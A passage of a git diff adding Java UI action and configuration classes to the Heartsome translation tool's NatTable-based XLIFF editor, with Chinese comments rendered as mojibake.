run(NatTable natTable, KeyEvent event) { + Character character = null; + if (LetterOrDigitKeyEventMatcher.isLetterOrDigit(event.character) || event.character == ' ') { + character = Character.valueOf(event.character); + } + if (character != null) { + int[] selectedRowIndexs = XLIFFEditorImplWithNatTable.getCurrent().getSelectedRows(); + if(selectedRowIndexs.length == 0){ + return; + } + Arrays.sort(selectedRowIndexs); + int rowIndex = selectedRowIndexs[selectedRowIndexs.length - 1]; + + ViewportLayer viewportLayer = LayerUtil.getLayer(natTable, ViewportLayer.class); + SelectionLayer selectionLayer = LayerUtil.getLayer(natTable, SelectionLayer.class); + // 先记录下å¯è§åŒºåŸŸçš„范围 + int originRowPosition = viewportLayer.getOriginRowPosition(); + int rowCount = viewportLayer.getRowCount(); // 总行数 + XLIFFEditorImplWithNatTable editor = XLIFFEditorImplWithNatTable.getCurrent(); + + if(!editor.isHorizontalLayout()){ + rowIndex = rowIndex * 2; + } + if (rowIndex < originRowPosition || rowIndex > originRowPosition + rowCount) { + HsMultiActiveCellEditor.commit(true); + PositionCoordinate p = selectionLayer.getLastSelectedCellPosition(); + if(!editor.isHorizontalLayout()){ + natTable.doCommand(new SelectCellCommand(selectionLayer, p.columnPosition, p.rowPosition / 2 * 2, false, false)); + } else { + natTable.doCommand(new SelectCellCommand(selectionLayer, p.columnPosition, p.rowPosition, false, false)); + } + HsMultiCellEditorControl.activeSourceAndTargetCell(editor); + StyledTextCellEditor cellEditor = HsMultiActiveCellEditor.getFocusCellEditor(); + if(cellEditor != null && cellEditor.getCellType().equals(NatTableConstant.TARGET)){ + cellEditor.insertCanonicalValue(character); + } + } + } + } + +} \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/actions/MouseEditAction.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/actions/MouseEditAction.java new file mode 100644 index 0000000..32dda1e --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/actions/MouseEditAction.java @@ -0,0 +1,103 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.actions; + +import java.util.Vector; + +import net.heartsome.cat.ts.core.bean.NoteBean; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.config.VerticalNatTableConfig; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.UpdateNoteDialog; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiActiveCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiCellEditorControl; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.painter.XliffEditorGUIHelper; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.painter.XliffEditorGUIHelper.ImageName; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.propertyTester.DeleteToEndOrToTagPropertyTester; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil; +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.selection.command.SelectCellCommand; +import net.sourceforge.nattable.style.CellStyleUtil; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.MouseEvent; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Rectangle; + +import com.ximpleware.NavException; +import com.ximpleware.XPathEvalException; +import com.ximpleware.XPathParseException; + +/** + * 当进入编辑模å¼åŽï¼Œåˆ·æ–°åˆ é™¤å…‰æ ‡åŽå†…容和删除标记å‰å†…容的 Command + * @author peason + * @version + * @since JDK1.6 + */ +public class MouseEditAction extends net.sourceforge.nattable.edit.action.MouseEditAction { + + public void run(NatTable natTable, MouseEvent event) { + XLIFFEditorImplWithNatTable xliffEditor = XLIFFEditorImplWithNatTable.getCurrent(); + if (xliffEditor == null) { + return; + } + int columnPosition = natTable.getColumnPositionByX(event.x); + int rowPosition = natTable.getRowPositionByY(event.y); + + boolean withShiftMask = (event.stateMask & SWT.SHIFT) != 0; + boolean withCtrlMask = (event.stateMask & SWT.CTRL) != 0; + + if (!xliffEditor.isHorizontalLayout()) { + if (rowPosition != HsMultiActiveCellEditor.targetRowPosition + && rowPosition != HsMultiActiveCellEditor.sourceRowPosition) { + HsMultiActiveCellEditor.commit(true); + natTable.doCommand(new SelectCellCommand(natTable, columnPosition, rowPosition, withShiftMask, + withCtrlMask)); + HsMultiCellEditorControl.activeSourceAndTargetCell(xliffEditor); + } + } else if (rowPosition != HsMultiActiveCellEditor.targetRowPosition) { + HsMultiActiveCellEditor.commit(true); + natTable.doCommand(new SelectCellCommand(natTable, columnPosition, rowPosition, withShiftMask, withCtrlMask)); + HsMultiCellEditorControl.activeSourceAndTargetCell(xliffEditor); + } + + // 点击批注图片时打开编辑批注对è¯æ¡† + Image image = XliffEditorGUIHelper.getImage(ImageName.HAS_NOTE); + // int columnPosition = natTable.getColumnPositionByX(event.x); + // int rowPosition = natTable.getRowPositionByY(event.y); + LayerCell cell = natTable.getCellByPosition(columnPosition, rowPosition); + Rectangle imageBounds = image.getBounds(); + if (cell == null) { + return; + } + Rectangle cellBounds = cell.getBounds(); + int x = cellBounds.x + imageBounds.width * 3 + 20; + int y = cellBounds.y + + CellStyleUtil.getVerticalAlignmentPadding( + CellStyleUtil.getCellStyle(cell, natTable.getConfigRegistry()), cellBounds, imageBounds.height); + if (columnPosition == xliffEditor.getStatusColumnIndex() && event.x >= x && event.x <= (x + imageBounds.width) + && event.y >= y && event.y <= (y + imageBounds.height)) { + if ((xliffEditor.isHorizontalLayout() && columnPosition == 2) + || (!xliffEditor.isHorizontalLayout() && columnPosition == 1)) { + Vector noteBeans = null; + try { + int rowIndex = natTable.getRowIndexByPosition(rowPosition); + if (!xliffEditor.isHorizontalLayout()) { + rowIndex = rowIndex / VerticalNatTableConfig.ROW_SPAN; + } + noteBeans = xliffEditor.getXLFHandler().getNotes(xliffEditor.getXLFHandler().getRowId(rowIndex)); + + if (noteBeans != null && noteBeans.size() > 0) { + UpdateNoteDialog dialog = new UpdateNoteDialog(xliffEditor.getSite().getShell(), xliffEditor, + rowIndex); + dialog.open(); + } + } catch (NavException e) { + e.printStackTrace(); + } catch (XPathParseException e) { + e.printStackTrace(); + } catch (XPathEvalException e) { + e.printStackTrace(); + } + } + } + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/actions/MoveSelectionAction.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/actions/MoveSelectionAction.java new file mode 100644 index 0000000..149edc7 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/actions/MoveSelectionAction.java @@ -0,0 +1,31 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.actions; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiActiveCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiCellEditorControl; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.selection.SelectionLayer.MoveDirectionEnum; +import net.sourceforge.nattable.selection.action.AbstractKeySelectAction; +import net.sourceforge.nattable.selection.command.MoveSelectionCommand; + +import org.eclipse.swt.events.KeyEvent; + +public class MoveSelectionAction extends AbstractKeySelectAction { + + public MoveSelectionAction(MoveDirectionEnum direction) { + super(direction); + } + + public MoveSelectionAction(MoveDirectionEnum direction, boolean shiftMask, boolean ctrlMask) { + super(direction, shiftMask, ctrlMask); + } + + @Override + public void run(NatTable natTable, KeyEvent event) { + HsMultiActiveCellEditor.commit(true); + super.run(natTable, event); + natTable.doCommand(new MoveSelectionCommand(getDirection(), 1, isShiftMask(), isControlMask())); + HsMultiCellEditorControl.activeSourceAndTargetCell(XLIFFEditorImplWithNatTable.getCurrent()); + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/actions/MoveToFirstRowAction.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/actions/MoveToFirstRowAction.java new file mode 100644 index 0000000..2469776 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/actions/MoveToFirstRowAction.java @@ -0,0 +1,28 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.actions; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiActiveCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiCellEditorControl; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.selection.SelectionLayer; +import net.sourceforge.nattable.selection.SelectionLayer.MoveDirectionEnum; +import net.sourceforge.nattable.selection.action.AbstractKeySelectAction; +import net.sourceforge.nattable.selection.command.MoveSelectionCommand; + +import org.eclipse.swt.events.KeyEvent; + +public class MoveToFirstRowAction extends AbstractKeySelectAction { + + public MoveToFirstRowAction() { + super(MoveDirectionEnum.UP, false, false); + } + + @Override + public void run(NatTable natTable, KeyEvent event) { + HsMultiActiveCellEditor.commit(true); + super.run(natTable, event); + natTable.doCommand(new MoveSelectionCommand(MoveDirectionEnum.UP, SelectionLayer.MOVE_ALL, isShiftMask(), isControlMask())); + HsMultiCellEditorControl.activeSourceAndTargetCell(XLIFFEditorImplWithNatTable.getCurrent()); + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/actions/MoveToLastRowAction.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/actions/MoveToLastRowAction.java new file mode 100644 index 0000000..e91d8bc --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/actions/MoveToLastRowAction.java @@ -0,0 +1,28 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.actions; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiActiveCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiCellEditorControl; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.selection.SelectionLayer; +import net.sourceforge.nattable.selection.SelectionLayer.MoveDirectionEnum; +import net.sourceforge.nattable.selection.action.AbstractKeySelectAction; +import net.sourceforge.nattable.selection.command.MoveSelectionCommand; + +import org.eclipse.swt.events.KeyEvent; + +public class MoveToLastRowAction extends AbstractKeySelectAction { + + public MoveToLastRowAction() { + super(MoveDirectionEnum.DOWN, false, false); + } + + @Override + public void run(NatTable natTable, KeyEvent event) { + HsMultiActiveCellEditor.commit(true); + super.run(natTable, event); + natTable.doCommand(new MoveSelectionCommand(MoveDirectionEnum.DOWN, SelectionLayer.MOVE_ALL, isShiftMask(), isControlMask())); + HsMultiCellEditorControl.activeSourceAndTargetCell(XLIFFEditorImplWithNatTable.getCurrent()); + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/actions/PageDownAction.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/actions/PageDownAction.java new file mode 100644 index 0000000..f11bec6 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/actions/PageDownAction.java @@ -0,0 +1,26 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.actions; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiActiveCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiCellEditorControl; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.selection.SelectionLayer.MoveDirectionEnum; +import net.sourceforge.nattable.selection.action.AbstractKeySelectAction; +import net.sourceforge.nattable.selection.command.ScrollSelectionCommand; + +import org.eclipse.swt.events.KeyEvent; + +public class PageDownAction extends AbstractKeySelectAction { + + public PageDownAction() { + super(MoveDirectionEnum.DOWN); + } + + public void run(NatTable natTable, KeyEvent event) { + HsMultiActiveCellEditor.commit(true); + super.run(natTable, event); + natTable.doCommand(new ScrollSelectionCommand(MoveDirectionEnum.DOWN, isShiftMask(), isControlMask())); + HsMultiCellEditorControl.activeSourceAndTargetCell(XLIFFEditorImplWithNatTable.getCurrent()); + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/actions/PageUpAction.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/actions/PageUpAction.java new file mode 100644 index 0000000..53fcff0 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/actions/PageUpAction.java @@ -0,0 +1,26 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.actions; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiActiveCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiCellEditorControl; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.selection.SelectionLayer.MoveDirectionEnum; +import net.sourceforge.nattable.selection.action.AbstractKeySelectAction; +import net.sourceforge.nattable.selection.command.ScrollSelectionCommand; + +import org.eclipse.swt.events.KeyEvent; + +public class PageUpAction extends AbstractKeySelectAction { + + public PageUpAction() { + super(MoveDirectionEnum.UP); + } + + public void run(NatTable natTable, KeyEvent event) { + HsMultiActiveCellEditor.commit(true); + super.run(natTable, event); + natTable.doCommand(new ScrollSelectionCommand(MoveDirectionEnum.UP, isShiftMask(), isControlMask())); + HsMultiCellEditorControl.activeSourceAndTargetCell(XLIFFEditorImplWithNatTable.getCurrent()); + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/actions/PopupMenuAction.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/actions/PopupMenuAction.java new file mode 100644 index 0000000..e569e57 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/actions/PopupMenuAction.java @@ -0,0 +1,66 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.actions; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiActiveCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiCellEditorControl; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.layer.LayerUtil; +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.selection.SelectionLayer; +import net.sourceforge.nattable.selection.action.AbstractMouseSelectionAction; +import net.sourceforge.nattable.selection.command.SelectCellCommand; + +import org.eclipse.swt.events.MouseEvent; +import org.eclipse.swt.widgets.Menu; + +public class PopupMenuAction extends AbstractMouseSelectionAction { + + private SelectionLayer selectionLayer; + + private Menu menu; + + public PopupMenuAction(Menu menu) { + this.menu = menu; + } + + @Override + public void run(NatTable natTable, MouseEvent event) { +// ActiveCellEditor.commit(); // 执行弹出èœå•å‰å…ˆå…³é—­ç¼–辑模å¼çš„å•å…ƒæ ¼ + super.run(natTable, event); + + if (selectionLayer == null) { + selectionLayer = LayerUtil.getLayer(natTable, SelectionLayer.class); + } + + int rowIndex = natTable.getRowIndexByPosition(getGridRowPosition()); + XLIFFEditorImplWithNatTable editor = XLIFFEditorImplWithNatTable.getCurrent(); + if(!editor.isHorizontalLayout()){ + rowIndex = rowIndex / 2; + } + // 如果该行已ç»é€‰ä¸­çš„了,直接显示出å³é”®èœå•ã€‚ + if (!isSelected(rowIndex)) { + HsMultiActiveCellEditor.commit(true); + natTable.doCommand(new SelectCellCommand(natTable, getGridColumnPosition(), getGridRowPosition(), + isWithShiftMask(), isWithControlMask())); + HsMultiCellEditorControl.activeSourceAndTargetCell(editor); + } + + menu.setData(event.data); + menu.setVisible(true); + } + + /** + * 是å¦é€‰ä¸­äº†è¯¥è¡Œ + * @param rowIndex + * 行索引 + * @return 是å¦é€‰ä¸­; + */ + private boolean isSelected(int rowIndex) { + int[] selectedRows = selectionLayer.getFullySelectedRowPositions(); + for (int row : selectedRows) { + if (row == rowIndex) { + return true; + } + } + return false; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/actions/SelectCellAction.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/actions/SelectCellAction.java new file mode 100644 index 0000000..6a6a458 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/actions/SelectCellAction.java @@ -0,0 +1,27 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.actions; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiActiveCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiCellEditorControl; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.propertyTester.XLIFFEditorSelectionPropertyTester; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil; +import net.sourceforge.nattable.NatTable; + +import org.eclipse.swt.events.MouseEvent; + +/** + * 执行此 Action åŽä¼šåˆ·æ–° XLIFFEditorSelectionPropertyTester çš„çŠ¶æ€ + * @author peason + * @version + * @since JDK1.6 + */ +public class SelectCellAction extends net.sourceforge.nattable.selection.action.SelectCellAction { + @Override + public void run(NatTable natTable, MouseEvent event) { + HsMultiActiveCellEditor.commit(true); + super.run(natTable, event); + NattableUtil.refreshCommand(XLIFFEditorSelectionPropertyTester.PROPERTY_NAMESPACE, + XLIFFEditorSelectionPropertyTester.PROPERTY_ENABLED); + HsMultiCellEditorControl.activeSourceAndTargetCell(XLIFFEditorImplWithNatTable.getCurrent()); + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/celleditor/EditableManager.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/celleditor/EditableManager.java new file mode 100644 index 0000000..2f150b0 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/celleditor/EditableManager.java @@ -0,0 +1,107 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.celleditor; + +/** + * å¯ç¼–辑属性管ç†å™¨ï¼Œç”¨äºŽ StyledTextCellEditor çš„å¯ç¼–辑属性 + * @author weachy + * @version + * @since JDK1.5 + */ +public abstract class EditableManager { + + /** 是å¦å¯ç¼–辑 */ + protected boolean editable = true; + + /** 是å¦æ˜¯æºæ–‡æœ¬ */ + private boolean isSource; + + /** ä¸å¯ç¼–辑状æ€æç¤ºä¿¡æ¯ */ + private String uneditableMessage; + + /** + * å¯ç¼–辑属性管ç†å™¨ + * @param isSource + * 是å¦ä¸ºæºæ–‡æœ¬ + */ + public EditableManager(boolean isSource) { + this.isSource = isSource; + } + + /** æºæ–‡æœ¬ç¼–è¾‘æ¨¡å¼ */ + private SourceEditMode sourceEditMode = SourceEditMode.DISEDITABLE; + + /** + * 设置æºæ–‡æœ¬ç¼–è¾‘æ¨¡å¼ + * @param editMode + * ; + */ + public void setSourceEditMode(SourceEditMode editMode) { + this.sourceEditMode = editMode; + } + + /** + * 得到æºæ–‡æœ¬ç¼–è¾‘æ¨¡å¼ + * @return ; + */ + public SourceEditMode getSourceEditMode() { + return sourceEditMode; + } + + /** + * 得到å¯ç¼–è¾‘çŠ¶æ€ + * @return ; + */ + public boolean getEditable() { + if (isSource) { + if (sourceEditMode != SourceEditMode.DISEDITABLE) { + return true; + } + } + return editable; + } + + /** + * 设置å¯ç¼–è¾‘çŠ¶æ€ + * @param editable + * 是å¦ä¸ºå¯ç¼–辑; + */ + public void setEditable(boolean editable) { + // this.editable = editable; + if (editable) { + setupEditMode(); + } else { + setupReadOnlyMode(); + } + } + + /** + * 设置ä¸å¯ç¼–辑æ示信æ¯ï¼Œé€šå¸¸æ示ä¸å¯ç¼–辑的原因。 + * @param uneditableMessage + * ä¸å¯ç¼–辑状æ€æç¤ºä¿¡æ¯ ; + */ + protected void setUneditableMessage(String uneditableMessage) { + this.uneditableMessage = uneditableMessage; + } + + /** + * 得到ä¸å¯ç¼–辑状æ€çš„æ示信æ¯ã€‚ + * @return ; + */ + public String getUneditableMessage() { + return uneditableMessage; + } + + /** + * 判断“是å¦å¯ç¼–辑â€çŠ¶æ€ ; + */ + public abstract void judgeEditable(); + + /** + * 设置åªè¯»æ¨¡å¼ ; + */ + protected abstract void setupReadOnlyMode(); + + /** + * è®¾ç½®ä¸ºç¼–è¾‘æ¨¡å¼ ; + */ + protected abstract void setupEditMode(); +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/celleditor/SourceEditMode.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/celleditor/SourceEditMode.java new file mode 100644 index 0000000..e16a109 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/celleditor/SourceEditMode.java @@ -0,0 +1,53 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.celleditor; + +public enum SourceEditMode { + + /** + * ä¸å¯ç¼–辑 + */ + DISEDITABLE, + + /** + * ä»…å¯ç¼–辑一次 + */ + ONCE_EDITABLE, + + /** + * 总是å¯ç¼–辑 + */ + ALWAYS_EDITABLE; + + /** + * å–å¾—ä¸‹ä¸€çŠ¶æ€ + * @return ; + */ + public SourceEditMode getNextMode() { + switch (this) { + case DISEDITABLE: + return ONCE_EDITABLE; + case ONCE_EDITABLE: + return ALWAYS_EDITABLE; + case ALWAYS_EDITABLE: + return DISEDITABLE; + default: + return DISEDITABLE; + } + } + + /** + * å–å¾—ä¸‹ä¸€çŠ¶æ€ + * @return ; + */ + public String getImagePath() { + switch (this) { + case DISEDITABLE: + return "images/SourceEditable/disable.png"; + case ONCE_EDITABLE: + return "images/SourceEditable/once.png"; + case ALWAYS_EDITABLE: + return "images/SourceEditable/always.png"; + default: + return "images/SourceEditable/disable.png"; + } + } +} \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/config/VerticalNatTableConfig.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/config/VerticalNatTableConfig.java new file mode 100644 index 0000000..0746818 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/config/VerticalNatTableConfig.java @@ -0,0 +1,73 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.config; + +public class VerticalNatTableConfig { + + /** è¡Œå·çš„列索引 */ + public static int ID_COL_INDEX = 0; + + /** 状æ€çš„列索引 */ + public static int STATUS_COL_INDEX = 1; + + /** æºçš„列索引 */ + public static int SOURCE_COL_INDEX = 2; + + /** 目标的列索引 */ + public static int TARGET_COL_INDEX = 2; + + /** 跨行数 */ + public static int ROW_SPAN = 2; + + /** 在所跨行中,æºæ‰€å çš„è¡Œ */ + public static int SOURCE_INDEX_PER_SPAN = 0; + + /** 在所跨行中,目标所å çš„è¡Œ */ + public static int TARGET_INDEX_PER_SPAN = 1; + + /** + * 是å¦æ˜¯â€œç›®æ ‡â€å†…容 + * @param columnIndex + * @param rowIndex + * @return ; + */ + public static boolean isSource(int columnIndex, int rowIndex) { + return columnIndex == SOURCE_COL_INDEX && rowIndex % VerticalNatTableConfig.ROW_SPAN == SOURCE_INDEX_PER_SPAN; + } + + /** + * 是å¦æ˜¯â€œç›®æ ‡â€å†…容 + * @param columnIndex + * @param rowIndex + * @return ; + */ + public static boolean isTarget(int columnIndex, int rowIndex) { + return columnIndex == TARGET_COL_INDEX && rowIndex % VerticalNatTableConfig.ROW_SPAN == TARGET_INDEX_PER_SPAN; + } + + /** + * 得到实际的行索引(由于垂直布局下一个翻译å•å…ƒè·¨N行,NatTable的行索引也被放大了Nå€ï¼Œé€šè¿‡æ­¤æ–¹æ³•å¯ä»¥å¾—到相当于水平布局下的行索引) + * @param rowIndex + * NatTable中的行索引 + * @return ; + */ + public static int getRealRowIndex(int rowIndex) { + return rowIndex / ROW_SPAN; + } + + /** + * 得到 Source 所在行 + * @param realRowIndex + * @return ; + */ + public static int getSourceRowIndex(int realRowIndex) { + return realRowIndex * ROW_SPAN; + } + + /** + * 得到 Target 所在行 + * @param realRowIndex + * @return ; + */ + public static int getTargetRowIndex(int realRowIndex) { + return realRowIndex * ROW_SPAN; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/config/XLIFFEditorCompositeLayerConfiguration.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/config/XLIFFEditorCompositeLayerConfiguration.java new file mode 100644 index 0000000..7bb7cd7 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/config/XLIFFEditorCompositeLayerConfiguration.java @@ -0,0 +1,97 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.config; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.actions.KeyEditAction; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.actions.MouseEditAction; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.sourceforge.nattable.config.AggregateConfiguration; +import net.sourceforge.nattable.edit.config.DefaultEditBindings; +import net.sourceforge.nattable.grid.GridRegion; +import net.sourceforge.nattable.grid.cell.AlternatingRowConfigLabelAccumulator; +import net.sourceforge.nattable.grid.layer.config.DefaultRowStyleConfiguration; +import net.sourceforge.nattable.layer.CompositeLayer; +import net.sourceforge.nattable.style.CellStyleAttributes; +import net.sourceforge.nattable.style.IStyle; +import net.sourceforge.nattable.ui.binding.UiBindingRegistry; +import net.sourceforge.nattable.ui.matcher.IKeyEventMatcher; +import net.sourceforge.nattable.ui.matcher.KeyEventMatcher; +import net.sourceforge.nattable.ui.matcher.LetterOrDigitKeyEventMatcher; +import net.sourceforge.nattable.ui.matcher.MouseEventMatcher; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.KeyEvent; + +/** + * 基于 NatTable çš„ xliff 编辑中 Grid Layer 的默认 configuration,去除一些ä¸å¿…è¦ configuration,如å•å‡»å¯ç¼–辑å•å…ƒæ ¼å°±è¿›å…¥ç¼–辑状æ€ã€‚ + * @author cheney + * @since JDK1.5 + */ +public class XLIFFEditorCompositeLayerConfiguration extends AggregateConfiguration { + private IStyle oddStyle; + private IStyle evenStyle; + private XLIFFEditorImplWithNatTable xliffEditor; + + /** + * Grid Layer 的默认 configuration + * @param gridLayer + * Grid Layer 对象 + */ + public XLIFFEditorCompositeLayerConfiguration(CompositeLayer compositeLayer, IStyle oddStyle, IStyle evenStyle, + XLIFFEditorImplWithNatTable xliffEditor) { + this.xliffEditor = xliffEditor; + this.oddStyle = oddStyle; + this.evenStyle = evenStyle; + addAlternateRowColoringConfig(compositeLayer); + addEditingHandlerConfig(); + addEditingUIConfig(); + } + + /** + * 激活å¯ç¼–辑å•å…ƒæ ¼çš„ UI 层é…ç½® ; + */ + protected void addEditingUIConfig() { + addConfiguration(new DefaultEditBindings() { + + KeyEditAction action = new KeyEditAction(); + + public void configureUiBindings(UiBindingRegistry uiBindingRegistry) { + // 在用户点击 Enter é”®æ—¶ï¼Œè¿›å…¥ç¼–è¾‘çŠ¶æ€ + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.NONE, SWT.CR), action); + // 在用户点击å°é”®ç›˜çš„ Enter é”®æ—¶ï¼Œè¿›å…¥ç¼–è¾‘çŠ¶æ€ + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.NONE, SWT.KEYPAD_CR), action); + // 在用户点击 F2 